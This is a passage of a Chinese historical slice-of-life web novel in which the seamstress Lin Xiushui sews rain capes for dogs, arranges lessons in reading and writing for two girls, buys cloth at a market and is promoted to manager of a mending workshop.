为什么雨老是淋它?为什么皮毛总是湿漉漉的? 但为什么为什么它下雨天不在家里待着呢? 第52章 第 52 章 出梅雨季要做的两件事…… “天晓得, 它怎么一到下雨天就要出去鬼混。” “我都纳闷了,这大雨天的,也没有屎能给它吃啊。” 养狗男子实在费解, 一手抱柱子,一手拽着要往雨里冲的大黄狗,他将脸从柱子一侧绕过来说:“它大晴天的, 大门不出二门不迈,吃根骨头 连挪个地都不愿意挪,大雨天,啥破地方它都要去, 钻别人家的猫洞、鸡棚,从每家屋檐底下钻过去。” 当真是狗有狗的癖好,人不需要知道。 林秀水看外头的雨, 噼里啪啦砸在棚檐上,大黄狗急得团团转,转不动就嗷呜一声,气狠狠趴下来。 “你家这是只看家犬?”修鞋张婆子抬头看了眼,“咋还闹脾气了呢?” 养狗男子手拉绳,双腿绕在椅柱上,僵硬地转过脑袋回:“这能看家?一天天死性的, 对谁都觉得是自己的狗亲戚一样, 冲谁也不喊, 恨不得大家都到家里来溜一圈, 你瞅瞅,愁人的。” 时下人爱猫则称为狸奴,要用鱼、盐、芝麻、糖等物来聘猫,养狗则希望它成为看家狗, 或是狩猎,不过宋朝二到九月里,狩猎犯法,当宠物的也有,大多身形小巧。 猫儿巷边上也有狗儿市,卖各色小狗和狗食,一种叫作饧糠(xíng kāng)的食物。 养狗男子就随身带着,从兜里掏出来,暗黄色圆圆的一个饼,表面粗糙,用火烘烤出来,他说是用米糠加上粗面做的。 有了吃的,大黄狗黄三金总算安稳了,能乖乖让林秀水用布尺给它量身形了,先量头,量脖子,量腹部一整圈,从背量到尾巴处。而后她摸了把它湿漉漉的毛发,小声嘀咕,“真是条胖乎乎的好狗。” 黄三金嘴边还沾着粉碎,转而用圆溜溜的眼睛瞧她,蹭蹭她的手。 林秀水早已想开,秉持着到她这里来做衣裳的,不管是人是狗是猫,非人非猫非狗,能做就给好好做,都不白来一趟。 她从给斗鸡给鹦鹉做衣裳开始,到后来又陆续接了好些,早已明白都一个样,很多都包含了人的期待。 她边在纸上写写画画,边说道:“简单点的油衣,有小狗斗篷。” 将用炭笔画的简易斗篷,翻过来给养狗男子瞧,是有顶大帽子,包着狗脑袋,帽子连接一整张布,能从狗脖子包拢到狗尾巴,布会垂在狗狗的小腿上,她还画了自己水字的花押。 这种做得快,能保证黄三金的四肢不受束缚,又能保证遮盖皮毛,还便宜,按黄三金的身形应该扯两到三尺差不多,五十来文。 那大哥又问:“好点的呢?” 林秀水画得认真,好点的如同小孩穿的连体衣而且开档,有帽子,开缝处在背部,包括四肢、腹部、背部,她还可以缝一个尾巴套。 这种衣裳要拆缝的地方许多,从帽子就得拆成三到五片半圆,还得确保帽子上有耳朵形状,可以塞下耳朵。 包裹四肢的裤腿是宽松的,到时候跟腹部的布料和背部的相连接,成为一件整体,狗鞋可以单独做,驴鞋她都做过了,已经有了经验。当然这种费时,画出各种纸样裁布缝合,要三百多文。 她看了眼养狗男子,自己还穿着件破蓑衣呢。 “做两件,我都能带它来做衣裳了,肯定不缺那几百文,”养狗男子没半点犹豫,“我是做漆船营生的,给船涂桐油,晴天要涂三遍油,底油、罩面油、打晒油。” “别看我这会儿闲,我们大晴天的可忙了,一天从南走到北,只有雨天里没法涂桐油,我们这行就是干晴天活的。” “得亏我雨天有工夫,能陪它东逛西逛,不然就它这性子,谁能雨天没事出来溜一圈,你看我这裤脚都湿半截了。” 林秀水听他这样说完,倒是有点知道了,看待在这男子身边的大黄狗,兴奋得尾巴一摇一摇,正吐着舌头笑。 “保不准就是你晴天不着家,又只有下雨待家里,它才想雨天出门,叫你遛遛它呢。” 养狗男子闻言细思,而后惊讶看向埋头苦吃的黄三金道:“那它咋不早说呢?” “早说我们爷俩还用大雨天出来受这份罪,它天天挨淋,我日日泡得脚发白,个哑巴狗。” 林秀水转过身,收过钱,真是“狗眼”抛给瞎子看。 不过也是一个愿打一个愿挨。 林秀水加急先黄三金做了件油衣斗篷,能帮它挡雨的,早上叫养狗男子过来拿,他给黄三金穿上,帽子刚好能套进狗脑袋里,露出一截狗嘴巴,油布遮住它的皮毛,垂着的狗尾巴轻轻晃晃。 廊棚里大家像看西洋景一般,围着黄三金瞧,有的人蹲下来摸了把,要给自家狗也做件来,下雨天出门也能穿上。 养狗那男子苦笑看众人,好什么好,你们懂什么?懂我这雨天里,不管刮风下雨,日日遛狗的痛苦吗? 林秀水挺懂他的,这段日子河水上涨得多,她和桑英船技一般,最终决定冒雨走路上工,至少不会有翻船的风险。 所以早上一出门,能看见养狗男子披他那件破蓑衣走得慢吞吞,穿着油衣斗篷的黄三金大摇大摆走在他前面,时不时汪一声。 不像人遛狗,像狗遛人。 她下工后,时常还能看见一狗一人从小巷子里出来,又往另一个路口走,不知为何,总觉得那个背影很命苦。 反正养狗男子说:“黄三金比我人都出名,大家不同我打招呼,老远看见狗就招手,多气人啊。” 更出名的是,后面穿了林秀水做的整件小狗油衣,帽子处前边缝线用了黄色狗蹄绫,是形似狗爪的点状小花,临安的绫布出名,除去柿蒂、杂花盘雕、涛水波,属狗蹄比较出名。 她给黄三金油衣脖子下方处,也用狗蹄绫缝了块,上面绣了黄三金这个名字。 油衣斗篷还不算新奇,这整件小狗油衣才算稀奇,狗像人一般正经穿上衣裳,裸露在外的地方都包裹住,有小小黄色的鞋套,连尾巴也套上了。 黄三金走得很神气,穿着油衣专门到雨里跑了圈,吐着舌头欢快跑回来,它再也不用疑问,怎么雨老是淋它?怎么皮毛总是湿漉漉的? 不过就算淋湿了,它也是只喜欢下雨天,能跟主人待一块,拉主人出门,跟所有认识的人见面的小狗。 后来也没有改这毛病,一狗一人是桑桥渡出了名的雨天出门大户,晴天没影,雨天准时准点跟大家见面。 林秀水卖不了小狗油衣,每只狗体型不一样,但是能卖小狗斗篷,她发现猫一下雨躲屋檐底下,或是哪里能避雨躲哪里,俗称猫在家里。 可狗真不一样,下小雨在外面慢慢走,下大雨在外面疯跑,一天下雨都不耽误它们出门的。 来买大体型斗篷的养狗娘子说:“我要不是怕它淋死,我真不想管它,一天天蹦蹿蹦蹿的,我们说狗等骨头,性急得要紧,我家狗就是这种死德行。” “我还给它取名缓缓,想它慢慢来,它快得跟什么一样,我说它是吃屎都要吃头一个,怕赶不上热乎的。” 林秀水噗嗤笑出声来,将小狗油衣递给她,她一边套当事狗身上,一边拍它屁股说:“有这东西可好了,再也不怕你淋死了,花老娘点钱罢了,你没了,我上哪再找这么不听人话的狗啊。” 在桑桥渡,养狗和养猫当真不一样,养狗气得要叫,养猫夹着嗓子喊,来她这买油衣的,总要说上两句心酸和苦累,来买逗猫棒的,则说还能养,不搭理人肯定是人的毛病。 梅雨渐渐消停,不再整日下雨,转而换早上下一阵而后放晴,夜里下大雨。 两座桥上长满了青苔,到处树木郁郁葱葱,到处长霉点子,到处晒满了重新洗过的衣裳,飘扬在街头巷尾,以及河面上,连陈桂花洗身子的小孩都多了许多。 廊棚里的人撤了出来,街道司的人开始上工,要给墙刷一遍,柱子再上一遍漆,边上安一排长凳。 由于捐的价钱远远超出街道司的预估,林秀水便问多余的钱,能不能请个老师傅,将捐了钱的名字写在墙上,至少保留下来。 那管事看向众人说:“你们大家要都同意,我们这边就做一块桑木的大木板来,在上头请老师傅来写,多上几层桐油,挂在这靠边的地方。一是我们这镇里产桑多,桑木便宜,二是桑木有桑木的好,有韧劲,我们说桑木扁担,宁折不弯,这就跟我们桑树口乃至桑桥渡老百姓一般。” “而桑又养蚕,蚕出蚕丝,在这缝补就是线来线往,补残补缺,实在合适不过,大伙说是不是这个理?” “是!说得可太对了。” “这读书当官的就是不一样。” 大家都齐声道,街道司管事的一番话落到大伙心里,怪不得大家说,人家后来能一路往上升。 这廊棚的事办 得也体面,首先桑木牌匾刻的缝补廊棚挂上去了,写在桑木上的捐钱众人也挂到左侧墙边,会长久保留,桐油上了,瓦盖的匆忙,有漏雨的地方修了,长椅长凳给安了。 不允许侵街,不能把廊棚当自家,什么东西都留在这,每日不摆摊要移走的。 林秀水也算放了心,这事比她想得要好,至少街道司没拿钱不办事。 长达许久的雨天里,她赚了三贯多银钱,主要孙大和宋三娘也受制于雨天,来往不大方便。 倒是原先雨季生意一般,赚不了多少钱的缝补摊子,每一个都赚了好些,比如修鞋张婆子,原先在其他桥上摆的,每日从早上五更天,摆到夜市上工,赚一百来文。 在这大家往来都知道有缝补的地方,四周、临街都到这来补,她每日接的活没怎么停下过,赚的钱也从一百来文,到两三百文,最多一日赚过四百文,家里的人没她赚得多,原先得看老头脸色的,眼下老头得看她的眼色。 做缝补衣裳的胡三娘子比她生意还好些,毕竟鞋子不是日日坏,但衣裳日日穿,破了旧了裂了,那真是日日都有各种要补的,她真是能既顾得上孩子,又能踏实赚这份钱,之前她婆母还挺不乐意来着,见了钱才缓和。 在这里赚的钱,都或多或少,但比起雨天不能出摊,日日发愁,这份钱能带来糊口的粮食和心里的安稳。 大家说要请林秀水吃饭,林秀水想想不大妥,请她吃早饭还差不多。 张木生也说请她吃饭,她说:“下帖子了没?我邀约很多的。” “下雨还差不多,”张木生悲从中来,“大家出了梅雨高兴,只有我们这种灭火的,把雨当亲娘供着,这段日子安稳极了。” “要不,姐你再给我缝个雨来吧,我想它了。” 梅雨季里,大家都各有各的愁,但防火司和潜火兵们高兴,终于不用在这种鬼天里,接连日日起早贪黑防火灭火,火都安生了不少。 林秀水转身就走,她和她的布都坚决反对,她有些布料和一两件衣裳,再三保管,仍旧发霉了,而且是生了不少霉点,洗也洗不掉的那种,多么可气。 找她缝补的,她也都说,回去再洗洗吧,实在没办法,换块布算了。 出了雨季,她要办两件事情。 一是给小荷找馆客,教她识字,王月兰踌躇好几日,最后说行,她会出钱,最好看看有没有女馆客。 林秀水也想要个女馆客,但是很少,那种基本在大户人家那。 找了好几日,打听好几日,最后找到林秀水之前跟她学写字的思珍身上,她家是开私塾的。 一开始没想她,是思珍她娘那边有个近亲没了,在明州那边,几人跑了一趟远路去奔丧,来回倒是不算太远,在那停留了大半个月,处理丧事,前两日才刚回来。 “找什么馆客,找我啊,”思珍指指自己,“那些启蒙要学的,我都学过,那些《童蒙训》《十七史蒙求》、三百千:《三字经》《百家姓》《千字文》,我可都一清二楚,倒背如流。” 在这会儿里,崇文的风气愈演愈烈,童子科也有女童应试,叫作林幼玉的,通过各项考试,获得了孺人的称号,虽没有实质性地封官,但对于市井里许多人家来说,给女儿开蒙的却越来越多起来。 思珍就是其中一个,她的父亲是个古板但又不死板的秀才,从小她和哥哥一块启蒙,五岁学三百千,八岁念各种蒙学书册,也算是读了十年诗书、经史子集。 思珍站在台阶说:“要是小荷过来,下午后送到私塾里,我先教她认上两个字,带她玩一玩再说。” 林秀水要同她算钱的,从前两人是互换手艺的,她跟思珍学写字笔顺,思珍跟她学针线手法,这会儿要正经当馆客来聘请,束脩和月钱要给的,比如一贯钱。 她又问:“接不接十四岁差不多的,能识字能写就行?” 她替桑英问的,她自己认识的字倒是多,不过换作教的话,那倒是很一般了。 思珍大方应下,“来嘛,我倒是巴不得大家都识得字。” 小荷不大懂,识字对于她的意义在哪里,到底能认出什么名堂,那些歪歪扭扭的东西,比起绕线还要难。她就是图林秀水给她做的新书袋和发带,背着像大人一样要去上工,感觉自己好厉害,才愿意每日晌午睡觉后,被她娘领着到私塾里写写画画的。 她还不懂,在这时候读书到底有难得,但她以后会懂的。 至于桑英,她来到这后,努力抓住每个学东西的机会,有认字的好事,她牢牢抓住了。 她只有下午歇工后才有空,那个时候学一个时辰,五百文是她自己付的,而且她还不打算跟她哥说,害怕到时候没学好,还闹笑话。 从私塾里出来时,她学得糊里糊涂,但跟林秀水说:“我会好好学的,不就是块难啃的骨头吗?我就当自己是条小狗。” 林秀水想夸她来着,一听这话,不知道怎么夸,夸她牙口好?能啃硬骨头。 可其实桑英想说,她知道的,从上林塘里出来不容易,她也想靠自己往上走。 找馆客是第一件事,办得大差不差,林秀水则要办第二件事,到布市里扑买和采买布匹。 毕竟一份耕耘,一尺布料,当然她想成为布谷鸟,只要叫一叫,又有布料又有谷料—— 作者有话说:感谢大家追更,本章红包[让我康康] 第53章 第 53 章 在裁缝作里升“官”了…… 林秀水租了大屋子, 有了裁缝各式齐全的东西,就想有新布。 四月新丝上市,镇里养四眠蚕, 出的丝多,有脚踏缫丝车,以及新的花楼提花织机, 织工织了许多新纹样的布匹。林秀水是买不起第一批上等花色的,那是供给生帛铺、成衣铺、彩帛铺的,第二批也买不起,镇里有不少裁缝铺子, 等着抢新布。 哪怕在梅雨时节里,桑青镇船来船往,运送的新布成百上千匹, 外头套两层袋子,一层麻的,一层油布的。从临安内城、湖州、平江府等等地方运来,一是要还从官府里和买绢借的钱,缴纳夏绢税,二是江阴军买绢布,都从清河坞换官船, 来回往返。 四月蚕桑五月布, 到五月中旬后, 桑河桥的布市越发兴盛, 买卖夏布,绫罗葛麻。 这回头次来买布匹,林秀水没让桑英来,最近米行里要淘换一批早米, 那真是五更天没到,人已经在米行了。 她叫了小春娥,小春娥又带上大春玲。 小春娥吃了口饼,含糊不清地说:“那肯定得叫她啊,不然谁来扛布。” “我来前一个晚上就给你打算好了,你出钱,扑买的事交给我,扛布让大春玲来,她一个顶我们仨,哪来的仨,一个我,两个阿俏呀。”“怎么连个算数也数不明白。” 林秀水恍然大悟,上下点头,原来是这么个算法啊。 大春玲瞥了小春娥一眼,语气平缓地说:“脑子里进炭了。” “打什么哑谜?”林秀水掰开饼子,走在两人中间。 小春娥微笑,“她骂我呢。” “炭得打成炭团,她说我脑子是不是被人打了。” 林秀水时常惊讶于两姐妹的相处之道,她不瞎掺和,那真是比看布还难。 在布市外头,便能看见成堆的布船挤在河岸边,有人牵着三四头驴子,拉着放了十二三匹布的太平车,送到各家布摊和铺子里。 两边布摊上木架上挂各色布条,一块木板垫三条长凳,上头铺了成堆的布匹,吆喝声响得惊人,拉人来买,各家卖布的小贩肩头搭了一手掌宽的彩布条,来问问瞧瞧就送一条。 林秀水感慨道:“卖布的比织布还要费力” 今年新出的夏布里,最便宜的是苎麻,吸湿快,干得也快,而且轻薄,就是容易发皱,里头卖 得最贵的是诸暨来的山后布,也称皱布,比临安纱罗差一点,但织工精巧细密,一匹得五六贯。 其二是葛布,用葛丝做的,林秀水摸着手感好,价格在两三贯中间,还有两种这几年盛行的布,一种是用芭蕉里头茎丝跟蚕丝混在一起,织成的轻纱,叫作醒骨纱;第二是平江府来的黄草心布,用黄草的梗拆丝织出来的,比罗和纱要便宜许多。 尤其黄草布多,黄草一匹两贯多,色白又细,而且极薄,林秀水伸手摸了摸,做外衫不错,薄透合适,而且织工也不错。 她眼下有十贯能用于买布料,不过这里除了直接买,还有种就是扑买,跟寻常博六文钱赢香囊小物不大相同。 有些是花一百文钱,在一个小圆盘上转,上面画了十来种纹样的布匹,其余全是布头,转到布匹一百文能拿走,转到布头则就是花一百文买一袋不知底细的布头,里面各色杂布都有。 小春娥原先喊的口号响,一见这架势,她扑不出手啊,而且按她时好时坏的手气,肯定扑到的是布头。 林秀水也是奔着布头去的,她拍拍小春娥的肩说:“没事,扑一把,你不是好久没扑买了。” 最近小春娥忙于日日练习各种烧炭,为能进油烛局做打算,确实是好久没有扑买过了。 “我这心跳的,比当年我烧炭把炉子掀翻了,那火星子跳到我裙子上,差点烧起来还要慌,”小春娥抖着手说,“真扑了啊?” 大春玲说:“没有悬念的东西。” 反正一百文换一袋布头不亏,小春娥扑完后说:“我亏了,我身心饱受煎熬,我如同跟炭一块被烤,我要吃东门那三文钱一个的炙油饼。” “吃,你吃三个。” 林秀水还是撸起袖子自己来,还有种扑买的法子,官府面向民间扑买酒库时,就是先将价钱写在纸上,锁进柜子里,再让大家报价,价高者或是价格相接近者得。 这种试试又不要钱,林秀水广撒网,每家都去写了试试,结果一个没中,她就知道自己这运气啊!意料之中但是气人。 不过倒是也买了四匹新布,价钱划算,投之以钱财,报之以布料。 她痴心妄想,不知道哪天能有买一匹布送一匹布的活动。 大春玲来一句:“你嘴里。” “我恨你啊啊,说什么大实话,”林秀水吭哧吭哧抱着布,“你说错了,还有我脑子里,我心里。” 小春娥转过脑袋说:“我们到你这定衣裳,买一件定两件,给我们全家都做。” “真话假话?” “真的啊,我娘说今年我们几个买夏裳的钱,全到你这做一套,”小春娥说,她娘说了买来买去都一样,不如照顾林秀水生意。 林秀水闻言道:“看到那条河了吗?” 小春娥接上,“那是你的眼泪吗?” “并不是,我只想说,找我得过一条河,老远了。” 不过林秀水有活,不管熟客老客都接,她采买的这几匹布,也早早就有娘子定好了夏裳。 在她改完前一批的衣裳,做好给春大娘以及小女童们的新衣,她接下了几单衣裳,不用花色多好看的,要舒服透气的夏裳,她们不大会挑布料,而林秀水自己去新挑的这批黄草布,得到大家肯定的赞许。 有一件衣裳,有个娘子给她十文钱的脚费,她挎上大包到人家里头量的。 那娘子住在她租的屋子后的转弯口,很近,门外青砖白墙,瞧着不大起眼,进屋后里头倒是亮堂堂的。 要做衣裳的是生下两三个月的女婴,前几日惊着了,眼下想给她身衣裳,上身要抱腹,其实就是系带肚兜,下身则是衩袴(kù),开裆的小裤。 这女婴倒是白净又胖乎,手脚很爱乱动,一看养得很好,不过这种情况,林秀水叫她娘自己量的,有些许误差都是要放量的。 “我们原先想她在蚕桑上能有点出息,最好手巧些,长大后女红出众,”那娘子轻轻掩上门出来,“这会儿病了一场,什么也不大想了。” “就想她能长大成人,没出息也不大要紧。请小娘子你来做衣裳,是听闻你会绣字,想你就在抱腹上,绣上小椿安康几字。” “椿是香椿的那个,说这字好。” 林秀水看她柔和的眉眼,又询问绣在哪里,而后才道:“保管给小椿做好。” 抱腹和衩袴做起来都快,小孩子虽说胖,但要的布也不大多,只是绣小椿安康这四个字时,她绣得慢了些。 又送到人家里去,那娘子接了过来,展开瞧了瞧,做工精巧,穿上也正合身,她高兴地说:“小娘子你手艺可真好,以后我们小椿的衣裳就在你这做了,做一年四季的衣裳。” 林秀水于是有了一个长期定衣裳的小客,才两三个月呢。 她还有个老客,要长期固定做衣裳的,是住在桑树口桥边往南巷子里的,老太太每日拄着根拐杖,带上一个篮子,里头是她的早午饭,糕、饼等等,每日不重样,起早往缝补摊子这边来。 从前没有廊棚的长椅给她坐时,她就会自己带把椅子来,一坐大半日。 老太太头发掉得多,她会买特髻,也便是假发髻给自己戴上,每日簪鲜花,她自己家种的,之前到了暮春边上时,会簪蔷薇、杜鹃、海棠、金雀儿、香兰等种种花,从不顾忌自己早已年老,戴着是否合宜。 林秀水每次见她,总是穿着整齐,而且穿着也鲜艳,她说自己青、绿、黄这三种颜色,而且在衣裳上不能太马虎。 “我年轻时就穿两种颜色的,一种黑的,一种蓝的,”老太太坐在林秀水的裁缝屋子里说,“我官人那时是厢军,厢军许多干各种劳役的,我还记得那时有桥道军,送文书走远道的步驿军,管栈道的桥阁军,我家那个是宁淮军,治理淮河的。” “反正我记得那时就日日挖河里的泥沙,赤着腿下河,去捞上头的浮物,天天洗裙裤,洗也洗不干净,全是泥沙。” “我们一家人在淮河边住了十来年的船屋呢,每日来来往往,黑衫黑裤的,反正我十来年也没习惯,我后来到这里,一家子没有别的衣裳,日日出门就穿身黑的。” 老太太扶了扶自己头上的牡丹花,和蔼笑道:“可我夜里想想睡不着啊,想着自己也活不了多少岁,又给底下几个孩子攒了大半辈子的家当,剩下的钱我也带不走,穿身上让自个高兴高兴吧。” 也就是这样找到了林秀水,尤其是年节里,做一身衣裳,全当是惦念从前吃苦的自己。 林秀水也给她做,不管拿什么料子来,哪怕花里胡哨不合适的,也能拼凑上一些 其他搭的布料,看起来不显得突兀。 她有了这样两个长期的主顾,给两人做衣裳,一个从小到长大,一个从老到死亡。 衣裳见证了人的一生。 从春转到夏初,小荷跟桑英在识字。 晌午后王月兰会将小荷送到思珍那里去,下了工后,桑英去学,林秀水接小荷回家。 那是小荷能记许久的事情,迈过私塾高高的门槛,阿姐站在门口桑树旁等她,牵她的手,领她去买吃食。 思珍家的私塾在南货坊边上,出了门有各色摊子,王月兰来接小荷时,通常直接回家,林秀水会带小荷到前头王奶奶的糖铺里,买只黏着棍子的糖人,或是两只油煎的蜜透角儿。 小荷就背着绿色绣小青蛙书袋,站在一堆同样等吃东西的学子里,踮起脚靠近,听他们说话,又偷偷鼓起脸,悄悄撅起嘴放气,而后偷笑。 她拉着林秀水的衣角,一晃又一晃,摇着脑袋说:“我也会他们刚才在讲的,始制文字,乃服衣裳。” 这是千字文里的句子,林秀水穿过人群,低下头问她,“大宝,你这两日学的?” “对啊,思珍姐姐说,我也先不要叫她先生,我就是去玩的,但认字要知道字从哪里来,”小荷有理有据,口齿清楚,“我娘是丝行里,我阿姐是裁缝,丝能织出布来,裁缝能将布做成衣裳,那还得知道衣裳是怎么来的。” “我说我知道,是用布、剪子和针线做的,思珍姐姐夸我,给我吃虾,是好大的河虾,她的碗底下还画了只大虾,那水倒进去,虾的触角就一晃一晃的。” “我们还画了一张虾。” 小荷从包里掏出来一张纸,她画的红彤彤一团,长着两根触角的大虾,她蹦蹦跳跳给林秀水看,绿色发带也一晃一晃的。 “明日思珍姐姐说,可以把猫小叶带过去,她也想见见我的猫姐妹。” 林秀水笑了声,她接过小荷画的虾,伸手拉拉平整,“给你做本夹册,你好好放着。” 她摸摸小荷的发顶说:“我们明日去南货坊里也买只虾碗,给猫小叶买只鱼碗。” 小荷举起手来欢呼:“那我从这会儿起,就盼望明日的到来了。” 这是她识字路上许许多多小小的惊喜。 当然转日林秀水也有“惊喜”。 她在裁缝作要上升一大步,要当一个小管事了。 林秀水初初听闻,还有些错愕和不可相信,又谦虚地摇摇头道:“庄管事,我才来这里一两个月,让我当管事,有点不大合适吧。” “有什么不合适的,”庄管事看她一眼,“你又不是才生下来两个月。” “你手里的活有李锦和小七妹接手大半,你不是能留出空闲了,而且你放心,这个管事除了你,没有人能当此大任,不会难以服众的。” 林秀水好奇道:“是什么?” “是专门的缝补处管事啊,你又能涨一贯月钱了,而且有专门的地方,我还给你安排了三个人手,高不高兴?” 高不高兴? 她纳了闷了,裁缝作有那么多东西要补吗? 那倒是还真有啊,梅雨里发霉的东西一大堆,要裁新的,要剪旧的,可不是缺人手。 林秀水看着三个缝补婆子,三人声音不齐地喊:“林管事!” 算了,大小也是个“官”。 可是为什么别人升官又发财,她是张灯又结彩啊。 第54章 第 54 章 新官上任到处扯 当管事有当管事的好。 其一涨月钱, 多涨一贯呢,林秀水不会嫌钱多的。 其二有专门的缝补处,虽然是从旧屋子里腾出来的, 但极其宽敞,她说就是为了安置各种破烂的。 当然她也有了管事屋子,虽说也是旧的, 但庄管事叫人重新涂了遍广漆,瞧起来地板锃亮,桌椅泛光。 屋里就一个空屋子,桌椅一对, 还有个柜子,别无旁物。林秀水满意的是,这屋子右边的门打开, 里头还有间小屋,开了扇窗,有张木架子床,有四根柱子,可以挂床帐。 是桑木做的,镇里人叫眠床,四平八稳老眠床。 林秀水看到这床, 谢天谢地, 总算有个歇息的地了。 裁缝作里晌午吃饭和歇工加起来有一个多时辰, 每次她和小春娥下完工后, 又困又累,两个人吃完饭,都没处歇着去,只好找个亭子, 靠着柱子眯一会儿,有时就相互挨着对方的背,迷迷糊糊睡一觉。 也有实在太累了,眼睛疼,胳膊都抬不动的时候,她去蹭过小春娥娘的躺椅,她们烧饭的后院有几张躺椅,不过人来人往,锅碗瓢盆相互碰撞,她也就去过两次。 更多的时候是趴在桌子旁,睡半个时辰,不睡的话,下午她压根没精神,抽丝时会用剪子戳到自己的手。 也算是被她熬下来了,熬出了一张床,好大一张床。 等她铺褥子、席子,放上枕囊和被子,再挂上床帐,就是张好睡的床了。 她按捺住自己雀跃的心情,没跑到后面那楼里,跟小春娥说她俩终于有歇脚的地了。 早上她要跟领抹处做交接,不是因为她抽纱绣已经做完,不需要她了,而是做得太好,太抢手,有几个娘子闹到顾娘子跟前,闹了好几日,给谁先做都不合适,都要得罪人。而且只有林秀水一个人能做,累死她哪里还能找到下一个,所以让她先歇歇。 顾娘子说要不死命做,不做就不做,与其得罪一个,不如得罪一群。 且这几日里,她不在领抹处的日子,顾娘子和姚管事要看李锦和小七妹抽纱绣学得如何,一个花样能不能在五日内绣出来。 能的话,以后林秀水专精,绣复杂花样,让她俩绣简单花样,能绣好就接活。 反正林秀水真是手把手教了,李锦脑子不大活,抽纱稳能原样复刻出来,她就给人家教各种难的,小七妹跳脱,想法又多,最适合让她自己想。 她绝对没有藏私,未来这两个人都是能带徒弟出来的,至于能不能把手艺发扬光大,那是很久的事情了。 林秀水离开领抹处几日,除了交代两人外,尤其是李锦,还真有点舍不得大家。老裁缝说:“放心,我们会挨个去照顾你的生意。” 是,每个人拿着破东西,挨个上门来看望她,她说与其不来。 别人是新官上任三把火,林秀水是新官上任到处扯。 发霉的、破裂的、损坏的,全扯掉。 当然也不是毫无意义地扯,得戴她做的简易口罩,得戴包布巾,还要戴手套。 而是有计划的,有组织的,有次序地扯。 裁缝作里总共有十八个大屋子,分布在五座楼里,一场梅雨后,发霉破损的地方那么多?要先换哪一间?换掉后东西怎么处理?布从哪里拿?她手里能有多少的权利。 她在调换之前,就每个地方转过,记录下各处的地方,画成图,最终确定先换她第一次来裁缝作待的看布屋子,那是每次顾娘子、顾二娘子以及顾家人进进出出,都要先过的院子。 林秀水要拉庄管事过来瞧,看布屋子虽然桐油涂过好多遍,上过广漆,而且柏木地板加了两层不过,除了桌子上的布匹,该发霉的地方仍旧发霉了。 甚至包括门前两盏绢布灯笼。 她明确地跟庄管事问道:“这不是布帘是竹帘,换下来东西放哪,而且有没有给我新的,到谁那里去拿去买?” “这块是布帘,大家说纱制的到夏日里晃眼,想换成厚绢布的,我说不如换粗绸的,一是粗绸厚实遮光,二是价钱和绢布相等,今年丝行里出的废丝多,织出来的粗绸也多,就是能不能有钱采买?” 她一个屋子问题列出来有十几样,包括不大合适的桌帷,挂布的木架摇摇晃晃,门外灯笼补上后换个颜色,红色的在夜里很渗人等等。 有些虽然不归她管,问题太小没人搭理,她索性都给记下来,她不单单是来搞缝补的,把东西换下来补上去,那让她当管事,大小是个官,总得解决大家的烦恼。 庄管事一听,这当真是考虑得很细致,她看林秀水据理力争的模样,想到她好久之前来裁缝作里,待在这屋子的角落里,瘦瘦高高的模样,接着各种缝补活计,脸上还留有些稚气。 可眼下神情坦然,不见丝毫忐忑,目光明亮,穿着合身且合宜的衣裳,整个人俏丽又飒爽,站在这里跟她不卑不亢地讨论问题。 不过短短数月而 已。 顾娘子说要单独成立缝补处的时候,让林秀水当管事时,并且让她多放手,她虽然清楚,实则也不大能理解,眼下要明白许多。 庄管事跟林秀水一块出来,慢慢地开口,在想合适的措辞,“顾娘子以及我的意思是,换下来的所有东西,都归你,让你处理。” 林秀水此时绷不住脸,失声发问:“那些布帘、帐幔、旧灯笼架子啥的都给我了?” 她当真有种穷人乍富的感觉,破烂也当成宝山。 毕竟这些东西不是全部都发霉了,不少属于洗洗还能用。 “昨日我同你说当管事,涨月钱,给你三个人手,你都没有眼下的惊讶,你能不能拿出刚才的气势来。” 林秀水小声嘀咕,“这会儿不是只有我们两个人。” “真给我啊?” 庄管事瞥了她一眼,怎么还有两副面孔呢。 “真给你,不仅给你,在这一次换补东西里,除了布料外,你能支的钱是十五贯,得记账啊,我和顾娘子都会看的。” “好好干,”庄管事最后拍拍她的肩。 林秀水明白了,意思是让她这个缝补处的管事,当裁缝作的后勤啊,坏掉的都由她来请人补上,不管桌椅窗子,布帘桌帷帐幔,庄管事不参与,她只要看最后的结果。 所以林秀水才能放手去做。 其实这还是林秀水头次能支配那么多东西,十五贯钱、三个缝补婆子,三个搬东西的伙计,两个负责擦洗的,让她压力骤升。 但越难越想做好,越想要服众。 她先换掉了好些屋子里的竹帘,竹帘是所有的东西里发霉最明显,也最严重的,霉斑会影响大家。 几乎是换下来就挂新的回去,林秀水除了手艺好之外,第二好的是,认识的手艺人多。 她在桑桥渡认识专门做竹帘的娘子,人家做的竹帘细密有度,用的是老竹子,光滑不磨手,是所有做竹帘中最好的。 而且人家带家里一堆人过来,会在日头最盛时挂,看看能不能遮挡光,坐到特定位置会不会漏光,尺寸会做到很合适。看在林秀水的面子上,承诺只要竹帘坏了,不管怎么坏的,都会不要钱包修补,以及明年可以翻新和换掉。 这就不用再把活摊给缝补婆子头上。 换的竹帘很合适,总算不是东漏一处,西漏一处,暗得暗,亮得亮,而且换得很快,两日的工夫换完了,不像从前要看人家十几日慢慢挨个换。 “天爷,今年换点东西坐鸟头上换的,蹭一下就换好了。” “这竹帘换得多好,我从前每日挑帘子都烦死个人,那上头总有毛刺。” “对啊,有专门的缝补处管事了,从前到我们屋子里缝东西的那个小丫头,这会儿该叫人家林管事了。” “她还很年轻呢。” 大家七嘴八舌讨论,只说林秀水年轻,不晓得之后能不能干好。 林秀水想干不好也挺难的,接下来要换的布帘、桌帷、帐幔,哪一样她都在帐设司里做过,那里的管事可比这里的挑剔多了,长一点不行,偏一点不行,要正正好好,严丝合缝。 她教缝补婆子怎么用线袋拉线,裁出最合适的尺寸,只是粗绸质地厚重,剪子不大好剪,她还去要了几把好剪刀。 缝补婆子们缝线稳和直,就是常年坐那种矮摊上的小凳,腰都不大好,她用淘汰下来的旧靠背椅,缝了几个丝绵垫给她们,做布帘和帐幔是很辛苦的活计,而且要缝很久。 当然裁缝作里没有给她们包饭,也没有休息的地方,三个婆子家里都有些远,每日早上带冷饭,借炉子泡点热水,对付几口。 林秀水跟庄管事商讨,“我认为最起码得包人家一顿饭,没吃饱饭,怎么有力气补东西呢?” “缝补处空空荡荡的,能放几张榻吧,至少让大家有个歇脚的地方。” 庄管事请她喝茶,有林秀水在她省心很多,可以忙各种船运货补的事情,针对她提的要求,没有犹豫就应下了。 反正又不缺这几口人的饭,便说是歇脚的,没有床,也有最简单的木榻,可以供人躺下休息会儿。 